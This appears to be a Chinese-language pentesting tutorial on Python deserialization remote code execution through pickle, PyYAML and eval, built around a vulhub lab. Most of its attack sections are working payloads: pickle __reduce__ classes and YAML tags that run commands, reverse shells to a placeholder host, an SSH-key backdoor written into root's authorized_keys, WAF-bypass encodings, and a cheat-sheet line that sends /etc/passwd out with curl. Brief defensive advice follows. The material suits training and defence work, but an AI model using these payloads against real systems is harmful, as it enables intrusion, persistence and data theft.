【教程】Python反序列化漏洞:Pickle与YAML反序列化RCE全解
适合人群:有Python基础的渗透测试人员、安全开发工程师
前置知识:Python基本语法、HTTP请求基础、Base64编码
实验环境:Linux虚拟机 + Python 3.8+ + Docker靶场
一、前置准备
1.1 工具安装
# Python 反序列化利用工具
pip3 install pickle requests pyyaml flask
# ysoserial for Java 反序列化(备参考)
# wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# 靶场搭建(Flask反序列化Demo)
git clone https://github.com/vulhub/vulhub.git
cd vulhub/python/unpickle
docker-compose up -d
1.2 靶场验证
# 确认靶场可访问
curl -s http://localhost:5000/
# 返回页面说明环境就绪
二、核心原理
2.1 什么是反序列化漏洞?
序列化 = 把对象变成字符串(便于存储/传输)
反序列化 = 把字符串还原成对象
当程序反序列化不可信的用户输入时,攻击者可以构造恶意序列化数据,让程序在还原过程中执行任意代码。
2.2 Python 序列化格式
| 格式 | 模块 | 特点 | 安全性 |
|---|---|---|---|
| Pickle | pickle | Python原生,支持任意对象 | ⚠️ 高危 — 默认有RCE原语 |
| YAML | pyyaml | 可读性强,跨语言 | ⚠️ 高危 — yaml.load() 默认RCE |
| JSON | json | 仅基础数据类型 | ✅ 安全(除非自定义 decoder) |
2.3 漏洞根因一句话
反序列化漏洞 = 把用户输入直接传给 pickle.loads() / yaml.load() / eval()
# 🔴 危险!直接把 Cookie/Session 传给 pickle.loads()
import pickle
data = base64.b64decode(request.cookies.get('session'))
user = pickle.loads(data) # ← 任意代码执行
三、实操步骤
🔴 攻击一:Pickle 反序列化 RCE
Step 1: 找入口
Pickle 反序列化常见于:
- Web 框架的 Session/Cookie 反序列化
- Redis 缓存中存储的 Pickle 对象
- 文件上传
.pkl文件 - API 接收 Base64 编码的 Pickle 数据
检测方法:
# 查看 Cookie 是否包含 Base64 编码数据
curl -sv http://target.com/ 2>&1 | grep Set-Cookie
# 解码看是不是 pickle 格式
echo 'gASV....' | base64 -d | head -c 50
# Pickle 特征:开头有 \x80\x04 或 (dp0\nS' 等
Step 2: 构造恶意 Pickle
利用 __reduce__ 魔术方法构造 RCE:
import pickle
import base64
import os
class RCE:
def __reduce__(self):
# 要执行的命令
cmd = "curl http://x.x.x.x:9999/$(whoami)"
return (os.system, (cmd,))
payload = base64.b64encode(pickle.dumps(RCE())).decode()
print(payload)
关键理解: __reduce__ 返回 (函数, 参数元组),pickle 反序列化时会自动调用该函数。
Step 3: 反弹 Shell
import pickle
import base64
import os
class ReverseShell:
def __reduce__(self):
# 反弹 bash shell
cmd = "bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1'"
return (os.system, (cmd,))
payload = base64.b64encode(pickle.dumps(ReverseShell())).decode()
# 用于 Cookie 中
cookie = {"session": payload}
print(f"Cookie: session={payload}")
监听端:
nc -lvnp 4444
Step 4: 发送恶意请求
# 将 payload 放入 Cookie 发送
curl -X GET http://target.com/profile \
-H "Cookie: session=PAYLOAD_BASE64"
🔴 攻击二:YAML 反序列化 RCE
Step 1: 找入口
YAML 反序列化常见于:
- 配置文件上传/导入功能
- API 接收 YAML 格式数据
- Swagger/OpenAPI 文档解析
# 检测是否接受 YAML
curl -X POST http://target.com/api/import \
-H "Content-Type: application/x-yaml" \
-d "test: 1"
Step 2: 构造恶意 YAML
PyYAML 的 yaml.load() 支持 Python 对象标签 !!python/object:
# 利用 __reduce__ 执行命令
!!python/object/apply:os.system
args: ["curl http://x.x.x.x:9999/test"]
更高级的反弹 Shell:
!!python/object/apply:subprocess.check_output
args:
- ["bash", "-c", "bash -i >& /dev/tcp/x.x.x.x/4444 0>&1"]
Step 3: Python 生成 YAML Payload
import yaml
import os
# 方法一:利用 !!python/object/apply
payload = """
!!python/object/apply:os.system
args: ["id > /tmp/pwned.txt"]
"""
data = yaml.load(payload) # ← 触发命令执行
注意:
yaml.safe_load()不解析 Python 对象标签,是安全的。只有yaml.load()有 RCE 风险。
🔴 攻击三:eval/exec 间接反序列化
有些系统用 eval() 做简单的反序列化:
# 🔴 危险代码
user_data = eval(request.form.get('data'))
Payload:
__import__('os').system('id')
# 或
__import__('subprocess').check_output(['whoami'])
四、绕过技术
4.1 Base64 编码绕过
很多 WAF 检测明文 Pickle,尝试嵌套编码:
import pickle, base64, zlib
class RCE:
def __reduce__(self):
return (__import__('os').system, ('id',))
# 嵌套压缩 + Base64
payload = base64.b64encode(
zlib.compress(pickle.dumps(RCE()))
).decode()
4.2 利用 `__import__` 绕过黑名单
如果系统过滤了 os 模块名:
class RCE:
def __reduce__(self):
# 用 __import__ 动态导入
return (
__import__('builtins').eval,
("__import__('os').system('id')",)
)
4.3 Gzip 压缩绕过内容长度检测
import gzip, pickle, base64
payload = gzip.compress(pickle.dumps(RCE()))
b64_payload = base64.b64encode(payload).decode()
# 服务端需解压:pickle.loads(gzip.decompress(data))
五、实战案例复盘
案例:某 Python Web 框架 Session 反序列化
背景: 某内部系统的 Session 使用 Pickle 序列化并 Base64 编码后放入 Cookie。
攻击链:
Step 1: 抓包发现 Cookie: session=eyJsb2dpbjogZmFsc2V9
→ Base64解码 → pickle 格式确认
Step 2: 构造恶意 Pickle → 反弹 Shell
Step 3: 替换 Cookie → 发送请求
Step 4: 监听端收到反弹 Shell → 服务器权限到手
关键 payload:
import pickle, base64, os
class Pwn:
def __reduce__(self):
return (os.system, ('echo "ssh-rsa AAAAB3NzaC1yc2E..." >> /root/.ssh/authorized_keys',))
cookie_val = base64.b64encode(pickle.dumps(Pwn())).decode()
print(f"session={cookie_val}")
根因: 框架直接 pickle.loads(base64.b64decode(cookie_value)),未对用户输入做任何校验。
六、防御建议
| 措施 | 说明 | 优先级 |
|---|---|---|
| 不要用 pickle 处理用户输入 | 改用 JSON + JWT 签名 | 🔴 最高 |
| 使用 yaml.safe_load() | 替代 yaml.load(),不解析 Python 标签 | 🔴 最高 |
| HMAC 签名验证 | 反序列化前校验数据完整性 | 🟠 中 |
| 限制允许的类 | 用白名单限制反序列化对象类型 | 🟡 低 |
| 沙箱执行 | 在隔离环境中反序列化不可信数据 | 🟠 中 |
| 输入长度限制 | 防止超大 payload 的 DoS 攻击 | 🟢 低 |
安全代码示例:
# ✅ 安全实践
import json, hmac, hashlib
SECRET_KEY = b"your-secret-key"
def safe_deserialize(cookie_value):
# 1. 校验 HMAC 签名(防篡改)
data, sig = cookie_value.rsplit('.', 1)
expected_sig = hmac.new(SECRET_KEY, data.encode(), hashlib.sha256).hexdigest()
if not hmac.compare_digest(sig, expected_sig):
raise ValueError("签名无效")
# 2. 用 JSON 反序列化(安全)
return json.loads(base64.b64decode(data))
七、常见陷阱
| # | 陷阱 | 说明 |
|---|---|---|
| 1 | yaml.load() 不等于 yaml.safe_load() | 很多教程滥用 load(),误以为安全 |
| 2 | Pickle 不兼容 Python 2/3 | 跨版本序列化会报错,注意版本 |
| 3 | HTTP 400 错误 | 中文 URL/大 payload 可能被网关拦截 |
| 4 | WAF 拦截 Base64 | 缩短 payload 或用 gzip 压缩绕过 |
| 5 | __reduce__ 返回值格式 | 必须是 (callable, args) 元组 |
| 6 | 反弹 Shell 没权限 | 注意 web 用户有无 outbound 连接权限 |
| 7 | 测试用靶场 | 永远不要在未经授权的目标上测试 |
八、总结(含速查表)
攻击链全景
发现入口 → 确认序列化格式 → 构造 RCE Payload → 触发执行 → 权限维持
Payload 速查表
| 场景 | Payload | 命令 | |
|---|---|---|---|
| Pickle RCE | pickle.dumps(RCE()) | __reduce__ → os.system | |
| YAML RCE | !!python/object/apply:os.system | yaml.load() 触发 | |
| eval 反序列化 | __import__('os').system('id') | eval() 直接执行 | |
| 写入 SSH 密钥 | echo "ssh-key" >> ~/.ssh/authorized_keys | Pickle 包裹 | |
| 反弹 Shell | bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' | Pickle/YAML 包裹 | |
| 数据外带 | `curl http://x.x.x.x:9999/$(cat /etc/passwd | base64)` | Pickle 包裹 |
一句话记住
任何 pickle.loads() / yaml.load() / eval() 处理用户输入 = 100% RCE
>
改用 JSON + HMAC 签名,别碰 pickle 和 yaml.load()
快速检测命令
# 检测 Pickle 格式
echo "BASE64_PAYLOAD" | base64 -d | xxd | head -3
# Pickle 协议头: 80 04 = pickle protocol 4
# 检测 YAML 注入
curl -s -X POST http://target.com/api/parse \
-H "Content-Type: application/x-yaml" \
-d '!!python/object/apply:os.system {args: ["id"]}'
# 返回 id 输出 → 存在 YAML RCE